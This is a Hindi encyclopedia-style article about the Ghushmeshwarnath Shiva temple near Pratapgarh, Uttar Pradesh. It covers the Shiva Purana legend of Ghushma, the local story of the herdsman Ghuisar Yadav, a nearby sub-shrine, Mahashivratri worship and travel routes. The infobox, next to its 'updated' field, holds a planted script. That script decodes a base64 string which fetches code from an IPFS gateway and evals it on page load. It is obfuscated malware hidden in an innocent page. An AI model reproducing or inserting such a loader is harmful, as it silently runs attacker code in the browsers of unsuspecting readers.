घुश्मेश्वरनाथ मंदिर

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घुश्मेश्वरनाथ मंदिर
घुश्मेश्वरनाथ मन्दिर
वर्णन घुश्मेश्वरनाथ मंदिर घुइसरनाथ और घुश्मेश्वर के नाम से भी प्रख्यात है। कुछ विद्वानों व पुरातत्विदों के मतानुसार घुश्मेश्वर ज्योतिर्लिंग का मूल स्थान वर्तमान में कुम्भापुर (इलापुर) स्थित घुश्मेश्वरनाथ मंदिर है।
स्थान बेल्हा, प्रतापगढ़ शहर, उत्तर प्रदेश
देवी-देवता भगवान शिव
विशेष भगवान राम ने वनवास जाते समय थककर यहीं पर विश्राम किया था, जहां भगवान श्री राम जी थककर आराम के लिए बैठे थे वहीं उनके शरीर से एक पसीने की बूँद गिरी जिससे एक दिव्य करील का वृक्ष उत्पन्न हुआ था।
अन्य जानकारी महाशिवरात्रि पर पावन नगरी बेल्हा (प्रतापगढ़) के पांचों धाम(बेलखरनाथ धाम , भयहरणनाथ धाम , बालेश्वरनाथ धाम , घुश्मेश्वरनाथ धाम और हौदेश्वरनाथ धाम) पर अनगिनत संख्या में शिवभक्त जलाभिषेक करते हैं ।
अद्यतन‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

घुश्मेश्वरनाथ मंदिर उत्तर प्रदेश राज्य के बेल्हा प्रतापगढ़ शहर में स्थित भगवान शिव को समर्पित मंदिर है,जो वैदिक नदी सई के तट पर विद्यमान है। देवभूमि अवध अंतर्गत घुश्मेश्वरनाथ मंदिर घुइसरनाथ और घुश्मेश्वर के नाम से भी प्रख्यात है। कुछ विद्वानों व पुरातत्विदो के मतानुसार घुश्मेश्वर ज्योतिर्लिंग का मूल स्थान वर्तमान में कुम्भापुर (इलापुर) स्थित घुश्मेश्वरनाथ मंदिर है।

इतिहास

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श्री शिवमहापुराण में घुश्मेश्वर ज्योतिर्लिंग की कथा इस प्रकार बतायी गई है– नदी के समीप में भारद्वाज कुल में उत्पन्न एक सुधर्मा नामक ब्रह्मवेत्ता ब्राह्मण निवास करते थे। सदा शिव धर्म के पालन में तत्पर रहने वाली उनकी पत्नी का नाम सुदेहा था। वह कुशलतापूर्वक अपने घर के कार्यों को करती हुई पति की भी सब प्रकार से सेवा करती थी। ब्राह्मण श्रेष्ठ सुधर्मा भी देवताओं तथा अतिथियों के पूजक थे। वे वैदिक सनातन धर्म के नियम का अनुसरण करते हुए नित्य अग्निहोत्र करते थे। त्रिकाल सन्ध्या करने के कारण उनके शरीर की कान्ति सूर्य की भाँति उद्दीप्त हो रही थी। वेद शास्त्रों के मर्मज्ञ होने के कारण वे शिष्यों को पढ़ाया भी करते थे। वे धनवान तथा दानी भी थे। वे सज्जनता तथा विविध सद्गुणों के अधिष्ठान अर्थात् पात्र थे। स्वयं शिव भक्त होने के कारण सदा शिव जी आराधना में लगे रहते थे तथा उन्हें शिव भक्त परम प्रिय थे। शिव भक्त भी उन्हें बड़ा प्रेम देते थे।इतना सब कुछ होने पर भी सुधर्मा को कोई सन्तान न थी। यद्यपि उस ब्रह्मवेत्ता ब्राह्मण का कोई कष्ट न था, किन्तु उनकी धर्मपत्नी सुदेहा बड़ी दु:खी रहती थी। उसके पड़ोसी तथा अन्य लोग भी उसे नि:सन्तान होने का ताना मारा करते थे, जिसके कारण अपने पति से बार-बार पुत्रप्राप्ति हेतु प्रार्थना करती थी। उसके पति उस मिथ्या संसार के सम्बन्ध में उसे ज्ञान का उपदेश दिया करते थे, फिर भी उसका मन नहीं मानता था। उस ब्राह्मणदेव ने भी पुत्रप्राप्ति के लिए कुछ उपाय किये, किन्तु असफल रहे। उसके बाद अत्यन्त दु:खी उस ब्राह्मणी ने अपनी छोटी बहन घुश्मा के साथ अपने पति का दूसरा विवाह करा दिया। सुधर्मा ने द्वितीय विवाह से पूर्व अपनी पत्नी को बहुत समझाया था कि तुम इस समय अपनी बहन से प्यार कर रहीं हो, इसलिए मेरा विवाह करा रही हो, किन्तु जब इसे पुत्र उत्पन्न होगा,तो तुम उससे ईर्ष्या करने लगोगी। सुदेहा ने संकल्प लिया था कि वह कभी भी अपनी बहन से ईर्ष्या नहीं करेगी। विवाह के बाद घुश्मा एक दासी की तरह अपनी बड़ी बहन की सेवा करती थी तथी सुदेहा भी उससे अतिशय प्यार करती थी। अपनी बहन की शिव भक्ति से प्रभावित होकर उसके आदेश के अनुसार घुश्मा भी शिव जी का एक सौ एक पार्थिव लिंग बनाकर पूजा करती थी। पूजा करने के बाद उन शिवलिंगों को समीप के तालाब में विसर्जित कर देती थी–

कनिष्ठा चैव पत्नी स्वस्रनुज्ञामवाप्य च।
पार्थिवान्सा चकाराशु नित्यमेकोत्तरं शतम्।।
विधानपूर्वकं घुश्मा सोपचारसमन्वितम्।
वृत्वा तान्प्राक्षिपत्तत्र तडागे निकटस्थिते।।
एवं नित्यं सा चकार शिवपूजां सवकामदाम्।
विसृज्य पुनरावाह्य तत्सपर्याविधानत:।।
कुर्वन्त्या नित्यमेवं हि तस्या: शंकरपूजनम्।
लक्षसंख्याऽभवत्पूर्णा सर्वकाम फलप्रदा।।
कृपया शंकरस्यैव तस्या: पुत्रो व्यजायत।
सुन्दर: सुभगश्चैव कल्याणगुणभाजन:।।[1]

भगवान शंकर की कृपा से घुश्मा को एक सुन्दर भाग्यशाली तथा सद्गुण सम्पन्न पुत्र प्राप्त हुआ। पुत्र प्राप्ति से जब घुश्मा का कुछ मान बढ़ गया, तब सुदेहा को ईर्ष्या पैदा हो गई। समय के साथ जब पुत्र बड़ा हो गया, तो विवाह कर दिया गया और पुत्रवधू भी घर में आ गई। यह सब देखकर सुदेहा और अधिक जलने लगी। उसकी बुद्धि भ्रष्ट हो गई, जिसके कारण उसने अनिष्ट करने की ठान ली। एक दिन रात्रि में उसने सोते समय घुश्मा के पुत्र के शरीर को चाकू से टुकड़े-टुकड़े कर दिया और शव को समेटकर वहीं पास के सरोवर में डाल दिया, जहाँ घुश्मा प्रतिदिन पार्थिव लिंग का विसर्जन करती थी। सुदेहा शव को तालाब में फेंककर आ गई और आराम से घर में सो गई।

प्रतिदिन की भाँति घृश्मा अपने पूजा कृत्य में लग गई और ब्राह्मण सुधर्मा भी अपने नित्यकर्म में लग गये। सुदेहा भी जब सुबह उठी तो, उसके हृदय में जलने वाली ईर्ष्या की आग अब बुझ चुकी थी, इसलिए वह भी आनन्दपूर्वक घर के काम-काज में जुट गई। जब बहू की नींद खुली, तो उसने देखा कि उसका पति बिस्तर पर नहीं है। बिस्तर भी ख़ून में सना है तथा शरीर के कुछ टुकड़े पड़े दिखाई दे रहे हैं। यह दृश्य देखकर दु:खी बहू ने अपनी सास घुश्मा के पास जाकर निवेदन किया और पूछा कि आपके पुत्र कहाँ गये हैं? उसने रक्त से भीगी शैय्या की स्थिति भी बताई और विलाप करने लगी– ‘हाय मैं तो मारी गयी। किसने यह क्रूर व्यवहार किया है?’ इस प्रकार वह पुत्रवधू करुण विलाप करती हुई रोने लगी।

सुधर्मा की बड़ी पत्नी सुदेहा भी उसके साथ ‘हाय!’ ऐसा बोलती हुई शोक में डूब गई। यद्यपि वह ऊपर से दु:ख व्यक्त कर रही थी, किन्तु मन ही मन बहुत प्रसन्न थी। अपनी प्रिय वधू के कष्ट और क्रन्दन (रोना) को सुनकर भी घुश्मा विचलित नहीं हुई और वह अपने पार्थिव-पूजन व्रत में लगी रही। उसका मन बेटे को देखने के लिए तनिक भी उत्सुक नहीं हुआ। इसी प्रकार ब्राह्मण सुधर्मा भी अपने नित्य पूजा-कर्म में लगे रहे। उन दोनों ने भगवान के पूजन में किसी अन्य विघ्न की चिन्ता नहीं की। दोपहर को जब पूजन समाप्त हुआ, तब घुश्मा ने अपने पुत्र की भयानक शैय्या को देखा। देखकर भी उसे किसी प्रकार का दु:ख नहीं हुआ।

उसने विचार किया, जिसने मुझे यह पुत्र दिया है, वे ही उसकी रक्षा भी करेंगे। वे तो भक्तप्रिय हैं, कालों के भी काल हैं तथा सत्पुरुषों के मात्र आश्रय हैं। वे ही सर्वेश्वर प्रभु हमारे भी संरक्षक हैं। वे माला गूँथने वाले माली की तरह जिनको जोड़ते हैं, उन्हें अलग-अलग भी करते हैं। मैं अब चिन्ता करके क्या कर सकती हूँ। इस प्रकार सांसारिक तत्त्वों का विचार कर उसने शिव के भरोसे धैर्य धारण कर लिया, किन्तु शोक का अनुभव नहीं किया।

प्रतिदिन की तरह वह 'नम: शिवाय' का उच्चारण करती हुई उन पार्थिव लिंगों को लेकर सरोवर के तट पर गई। जब उसने पार्थिव लिंगों को तालाब में डालकर वापस होने की चेष्टा की, तो उसका अपना पुत्र उस सरोवर के किनारे खड़ा हुआ दिखाई पड़ा। अपने पुत्र को देखकर घुश्मा के मन में न तो प्रसन्नता हुई और न ही किसी प्रकार का कष्ट हुआ। इतने में ही परम सन्तुष्ट ज्योति: स्वरूप महेश्वर शिव उसके सामने प्रकट हो गये।

भगवान शिव ने कहा कि ‘मै’ तुम पर बहुत प्रसन्न हूँ, इसलिए तुम वर माँगो। तुम्हारी सौत ने इस बच्चे को मार डाला था, अत: मैं भी उसे त्रिशूल से मार डालूँगा। घुश्मा ने श्रद्धा-निष्ठा के साथ महेश्वर को प्रणाम किया और कहा कि सुदेहा मेरी बड़ी बहन है, कृपया आप उसकी रक्षा करे। शिव ने कहा कि सुदेहा ने तुम्हारा बड़ा अनिष्ट किया है, फिर तुम उसका उपकार क्यों करना चाहती हो? वह दुष्टा तो सर्वदा मार डालने के योग्य है। ‘घुश्मा’ हाथ जोडकर प्रार्थना करने लगी– ‘देव! आपके दर्शन मात्र से सारे पातक भस्म हो जाते हैं। हमने तो ऐसा ही सुना है कि अपकार करने वाले (अनिष्ट करने वाले) पर जो उपकार करता है, उसके भी दर्शन से पाप बहुत दूर भाग जाता है। सदाशिव जो कुकर्म करने वाला है, वही करे, भला मैं दुष्कर्म क्यों करूँ? मुझे तो बुरा करने वाले की भी भलाई करना ही अच्छा लगता है।’ भगवान शिव घुश्मा के भक्तिपूर्ण विकार शून्य स्वभाव से अत्यन्त प्रसन्न हो उठ। दयासिन्धु महेश्वर ने कहा– ‘घुश्मा! तुम्हारे हित के लिए मैं तुम्हें कोई वर अवश्य दूँगा। इसलिए तुम कोई और वर माँगो।’ उसने कहा– ‘महादेव! यदि आप मुझे वर देना ही चाहते हैं, तो लोगों की रक्षा और कल्याण के लिए आप यहीं सदा निवास करें और आपकी ख्याति मेरे ही नाम से संसार में होवे’–

सोवाच तद्वच: श्रुत्वा यदि देयो वरस्त्वया।
लोकानां चैव रक्षार्थमत्र स्थेयं मदाख्यया।।
तदोवाच शिवस्तत्र सुप्रसन्नो महेश्वर:।
स्थास्येऽत्र तव नाम्नाहं घुश्मेशाख्य: सुखप्रद:।।
घुश्मेशाख्यं सुप्रसद्धि लिंग में जायतां शुभम्।
इदं सरस्तु लिंगानामालयं जायतां सदा।।
तस्यामच्छिवालयं नाम प्रसिद्धं भुवनत्रये।
सर्वकामप्रदं ह्योयद्दर्शनात्स्यात्सदा सर:।।[2]

घुश्मा की प्रार्थना और वर-याचना से प्रसन्न महेश्वर शिव ने उससे कहा कि मैं सब लोगों को सुख देने के लिए हमेशा यहाँ निवास करूँगा। मेरा ज्योतिर्लिंग ‘घुश्मेश’ के नाम से संसार में प्रसिद्ध होगा। यह सरोवर भी शिवलिंग का आलय अर्थात् घर बन जाएगा और इसीलिए यह संसार में शिवालय के नाम से प्रसिद्ध होगा। इस सरोवर का दर्शन करने से सब प्रकार के अभीष्ट प्राप्त होंगे। भगवान शिव ने आशीर्वचन बोलते हुए घुश्मा से कहा कि तुम्हारे एक सौ एक पीढ़ियों तक ऐसे ही श्रेष्ठ पुत्र उत्पन्न हुआ करेंगे। वे सभी सन्तानें उत्तम गुणों से सम्पन्न, सुन्दरी स्त्रियाँ, धन-वैभव, विद्या-बुद्धि और दीर्घायु से युक्त होंगे। वे भोग और मोक्ष दोनों प्रकार के लाभ पाने के पात्र होंगे। तुम्हारे एक सौ एक पीढ़ियों तक वंश का विस्तार शोभादायक, यशस्वी तथा आनन्दवर्द्धक होगा’ इस प्रकार घुश्मा को वरदान देते हुए भगवान शिव ज्योतिर्लिंग के रूप में वहीं स्थित हो गये। ‘घुश्मेश’ नाम से उनकी प्रसिद्धि हुई और सरोवर भी शिवालय के नाम से विख्यात हुआ। सुधर्मा, घुश्मा तथा सुदेहा ने भी उस शिवलिंग की तत्काल एक सौ एक परिक्रमा दाहिनी ओर से की। पूजा करने के बाद परिवार के सभी सदस्यों के मन की मलीनता दूर हो गई। पुत्र को जीवित देखकर सुदेहा बड़ी लज्जित हुई और उसने अपने पति तथा बहन घुश्मा से क्षमा याचना कर प्रायश्चित के द्वारा पाप का शोधन किया। इस प्रकार घुश्मेश्वर ज्योतिर्लिंग का आविर्भाव हुआ, जिसका दर्शन और पूजन करने से सब प्रकार के सुखों की वृद्धि होती है। जगद्गुरु आदि शंकराचार्य ने घुश्मेश्वर ज्योतिर्लिंग की प्रार्थना इस प्रकार की है–

इलापुरे रम्याविशालकेऽस्मिन्।
समुल्लसन्तं च जगदवरेण्यम्।।
वन्दे महोदारतरस्वभावं।
घुश्मेश्वराख्यं शरणं प्रपद्ये।।

पुन: उद्भव

प्राचीन काल में सई नदी के किनारे इलापुर (अब कुम्भापुर) नामक गाँव में श्री घुइसर यादव जी थे। वह एक चरवाहे थे और रोज जंगल में जानवर चराने जाते थे, वो बहुत ही नास्तिक थे उनकी ईश्वर में आस्था नहीं थी। वह जंगल में टीले (भीटा) पर ही रोज बैठकर आस पास की गाय-भैंस चराया करते थे क्योंकि भीटा बहुत दूर था अत: सुबह से शाम तक जानवरों को चराते-चराते वो अपना समय काटने के लिये घर से मूंज ले जाया करते थे जिससे वो रस्सियाँ बनाते थे। उसे खूंदने के लिए उन्हें पत्थर ढूँढना था अतःउन्होंने वह पत्थर चुना जिसमे वो एक बार अटक कर गिर गए थे क्यों की वह बहुत बड़े वृक्ष के नीचे छावं में भी था और सभी पत्थरों से ज्यादा चमकीला और चिकना था, अब प्रतिदिन घुइसर जी मूंज खूंदते और रस्सी बनाया करते थे। दिव्य पत्थर पर रोज अपनी लाठी से चोट करते और शाम को पत्थर के आस पास साफ़ कर देते और पत्थर को भी अपने अगोंछे से साफ़ कर देते थे क्योंकि अगले दिन उन्हें फिर वहीं बैठना होता था। लेकिन जैसे-जैसे वह पत्थर चोट मार रहे थे, उसी तरह वो पत्थर बाहर ऊपर की तरफ निकल रहा था। आज भी उस दिव्य पत्थर रूपी 12वें ज्योतिर्लिंग घुश्मेश्वर में चोट के निशान मौजूद हैं यह कार्य करते-करते कई वर्ष बीत गए, एक दिन शाम के समय बहुत बारिश हुई और वह पत्थर को व आस पास की जगह साफ़ कर रहे थे तभी बहुत भयानक आवाज के साथ दिव्य रोशनी हुई और भगवान शंकर उसी पत्थर से प्रकट होकर बोले घुइसर यादव तुमने मेरा सिर इतने दिन दबा के और मेरी सेवा करके मुझे खुश कर दिया बोलो क्या वरदान चाहते हो मैं तुम्हे मनचाहा वरदान दूंगा। यदुवंशी घुइसर जी नास्तिक थे भगवान को साक्षात अपने सामने देख वो शिवभक्ति से ओत प्रोत गये उनकी नास्तिकता जाती रही। भगवान शिव जी ने उस शिवलिंग के बारे में उन्हें सारी कहानी बताई की कैसे घुश्मा की भक्ति से वह आये थे और आज फिर दोबारा तुम्हारी निष्काम सेवा से प्रसन्न होकर पुन: जनकल्याण के लिए अवतरित हुए हैं क्योंकि मुझे त्रेता युग में अपने भगवान के दर्शन के लिए यहां फिर से उद्भव लेना ही था। भगवान राम जी ने वन जाते वक्त भगवान घुश्मेश्वर जी से मुलाकात की थी और यहां विश्राम भी किया था। जहां उन्होंने बैठ कर विश्राम किया था उनके पसीने की बूँद वहां गिरी जिससे वहां करीर का वृक्ष उत्पन्न हुआ जो आज भी विराजमान है। अत: इस तरह शिव जी ने यदुवंशी घुइसर जी को दर्शन दिया और उनकी नास्तिकता का नाश किया घुइसर जी ने तीन वर मांगे -

1- मेरे वंशज ही आपकी प्रथम पूजा करें।

2- सात गुना अन्न-जल आपकी सेवा से मुझे और मेरे वंश को हमेशा मिले।

3- मेरे नाम से आपका यह पावन धाम प्रसिद्द हो।

आज भी उनके वंशज श्री शिव मूर्ती गिरी हैं और बाबा धाम की सेवा में निरंतर लगे हुए हैं। बिना उनके या उनके पुत्रों के प्रथम पूजन के बगैर कोई बाबा धाम में भगवान घुश्मेश्वर जी की पूजा नहीं कर सकता है और आज भी घुइसर यादव जी के वंशज खुश और सुखी हैं। घुइसर यादव जी के नाम से ही भगवान घुश्मेश्वर जी के धाम का नाम बाबा घुइसरनाथ धाम पड़ा। (यह उपरोक्त इतिहास, कुम्भापुर (घुइसरनाथ धाम) आस पास निवास करने वाले लोगों से प्राप्त की गयी है।)

बूढ़ेश्वनाथ मंदिर

उपलिंग रहत मुख्य लिंग साथा।
भक्त वृन्द गांवइ शिव गाथा।।
बूढ़ेश्वर हैं देऊम् पासा।
पूजेहु सेवत सेवक दासा।।

बाबा घुइसरनाथ धाम के नजदीक ही देऊम में बूढ़ेनाथ धाम मंदिर में स्थित बूढ़ेश्वर शिवलिंग के बारे में मान्यता है कि यहां के शिवलिंग की स्थापना किसी व्यक्ति विशेष ने नहीं की, बल्कि उनका उद्भव स्वयं हुआ है और 12वें ज्योतिर्लिंग भगवान घुश्मेश्वर जी के उपलिंग के रूप में प्रसिद्ध हुए हैं।घुइसरनाथ धाम और बाबा बूढ़ेश्वर नाथ देऊम स्थान के बीच की लगभग 3 किमी.है। घुइसरनाथ के बाद अब वहां भी पर्यटन स्थल के अधिकारियों व कर्मचारियों ने इतिहास खंगालने की कवायद शुरू कर दी है। लालगंज तहसील मुख्यालय से लगभग दस किलोमीटर दूर देउम चौराहे के पास प्राचीन बाबा बूढ़ेश्वर नाथ का मंदिर है।कई वर्ष पहले दोनों भगवानो में कुछ स्वाभिमान को लेकर लड़ाई हो गयी।घुश्मेश्वर भगवान इलापुर (अब कुम्भापुर) घुइसरनाथ धाम में प्रकट हुए थे और भगवान बूढ़ेश्वर जी देऊम धाम में स्वयं ही जन कल्याण के लिए प्रकट हुए थे। दोनों क़ी लड़ाई काफ़ी दिनों तक चलती रही, एक दिन ऐसा आया जब घुइसरनाथ भगवान ने बूढ़े धाम के ऊपर वार किया और उनके शरीर का कुछ हिस्सा गायब हो गया और तब जाकर भगवान बूढ़ेश्वर माने की भगवान घुश्मेश्वर जी ही बड़े हैं। आज भी बूढ़े धाम के मंदिर के शिवलिंग का उपरी हिस्सा टुटा हुआ है।

त्रेतायुगी करील वृक्ष

बाबा श्री घुश्मेश्वर भगवान की महिमा अपरम्पार है। लोक मान्यता है कि भगवान राम अपने वनवास जाते समय थक गए थे और यहीं पर विश्राम किया था और सई नदी के स्वच्छ जल से स्नान कर भगवान घुश्मेश्वर जी के दर्शन कर आगे बढ़े थे। जहां भगवान श्री राम जी थक कर आराम के लिए बैठे थे वहीं उनके शरीर से एक पसीने की बूँद गिरी जिससे एक दिव्य करील का वृक्ष उत्पन्न हुआ। श्री घुइसरनाथ धाम पावन सई तट पर आज भी श्रद्धालु पुण्य पाने के लिए बाबा के दरबार में पूजा-दर्शन और जलाभिषेक करने के पश्चात् भक्त करील के दिव्य वृक्ष का पूजन करते हैं और एक अश्वमेध यज्ञ के बराबर पुण्य प्राप्त करते हैं-

पावन करील वृक्ष , राघव वन , राम गमन।
कहते सियरहिया जो साक्षी है त्रेता युग की।।

महाशिवरात्रि

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महाशिवरात्रि पर पावन नगरी बेल्हा (प्रतापगढ़) के पांचों धाम (बेलखरनाथ धाम, भयहरणनाथ धाम, बालेश्वरनाथ धाम, घुश्मेश्वरनाथ धाम और हौदेश्वरनाथ धाम) पर अनगिनत संख्या में शिव भक्त जलाभिषेक करते हैं। वैसे तो पूजन-अनुष्ठान का सिलसिला सुबह से शुरू होकर यह दिन भर चलता है, लेकिन सूर्योदय से पहले और प्रदोष काल के गोधूलि बेला में जलाभिषेक का ख़ास महत्व होता है।

धाम में रात्रि से ही भगवान घुश्मेश्वर जी का दर्शन और उनका जलाभिषेक करने के लिए भक्त आने शुरू हो जाते हैं और सुबह तक मंदिर का फाटक खुलने का इन्तजार करते हैं फिर सर्वप्रथम घुश्मेश्वर भगवान प्रिय पुजारी श्री भाल गिरी जी घुइसरनाथ जी पर प्रथम पूजन-अर्चन और जलाभिषेक करते हैं। इसके बाद भगवान के दर्शन और जलाभिषेक और दुग्धाभिषेक का सिलसिला शुरू होता है जो अगले दो दिन तक थमने का नाम नहीं लेता है। लाखों करोड़ों भक्त बाबा का आशीर्वाद प्राप्त करने के लिए आनुशासित तरीके से “बोल-बम के जयकारे - ओम नमः शिवाय, बोल बम का नारा है, बाबा तेरा सहारा है, बोलो घुइसरनाथ के बाबा की जय, हर हर महादेव” का जयकारा करते हुए भगवान घुश्मेश्वर जी का दर्शन और जलाभिषेक करते हैं। भीड़ इतनी होती है की प्रशासन के पसीने छूट जाते हैं।

बाबा घुश्मेश्वर जी का जलाभिषेक के दौरान किसी तरह का व्यवधान न आए इसके लिए सुरक्षा व्यवस्था के भी पुख्ता इंतजाम किए जाते हैं। बाबा धाम पर श्रद्धालू श्रद्धालुओं की सुविधा के लिए पीएसी बल व पुलिस बल तैनात किया जाता है। सबसे बड़ी सुविधा तो वहाँ के निवासियों द्वारा प्रदान की जाती है जिन्होंने भक्तों की सेवा के लिए एक समूह” बाबा घुश्मेश्वरनाथ सामाजिक सेवा संस्थान” गठित किया है जो पुलिस प्रसाशन के साथ मिल कर अनुसाशित ढंग से भक्तों को हर तरह की परेशानी से बचाते हैं। सुविधापूर्वक दर्शन एवं जलाभिषेक करने के लिए बैरीकेडिंग भी की जाती है।

कैसे पहुँचें

श्रीमन महामहीम भारतवर्षे मध्ये।
बेल्हा प्रतापगढ़ पश्चिमोत्तर भागे।।
सत्यास्तटे विकटे निकटे वनस्थली।
घुश्मेश्वरम् स्वयमेव प्रकटेव शम्भो।।

घुश्मेश्वरनाथ मंदिर देश कर हर कोने से आराम से यहाँ आया जा सकता है। बस, रेल और हवाई यात्राओ के ज़रिये देश विदेश के किसी कोने से यहाँ सुगमता से पहुचा जा सकता है।

बस सुविधा; बाबा धाम राजमार्ग 36 से जुड़ा है जिससे कि बस की सुविधा बहुत ही सुगम और आसान है।विभिन्न बड़े शहरों से घुइसरनाथ की दूरी - आगरा 494 किमी, इलाहाबाद 88 किमी, भोपाल 588 किमी, कानपूर 253 किमी, लखनऊ 145 किमी हैै।

रेल सुविधा; अमेठी और प्रतापगढ़ घुइसरनाथ के क़रीबी रेलवे स्टेशन है , धाम पहुँचाने के लिए आप कुंडा रेलवे स्टेशन पर भी उतर सकते है। धाम से दोनो रेलवे स्टेशनों की दूरी मात्र 32 किमी है।कुंडा स्टेशन से भी आसानी से पंहुचा जा सकता है। काशी विश्वनाथ, पद्मावत एक्सप्रेस, हावड़ा अमृतसर मेल, ग़रीब रथ, भोपाल एक्सप्रेस, नीलाचल एक्सप्रेस, सरयू एक्सप्रेस, ऊंचाहार एक्सप्रेस,नौचंदी एक्सप्रेस, साकेत एक्सप्रेस, उद्योग नगरी एक्सप्रेस ट्रेन आदि द्वारा घुइसरनाथ धाम तक पहुचा जा सकता है।

हवाई यात्रा; इलाहाबाद (बमरौली), वाराणसी और लखनऊ (अमौसी) अन्तर्राजीय हवाई अड्डे द्वारा घुइसरनाथ धाम पहुंचा जा सकता है।


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शोध

टीका टिप्पणी और संदर्भ

  1. श्री शिवपुराण कोटि रुद्र संहिता 32/45-49
  2. शिवपुराण कोटि रुद्र संहिता 33/43-46

बाहरी कड़ियाँ

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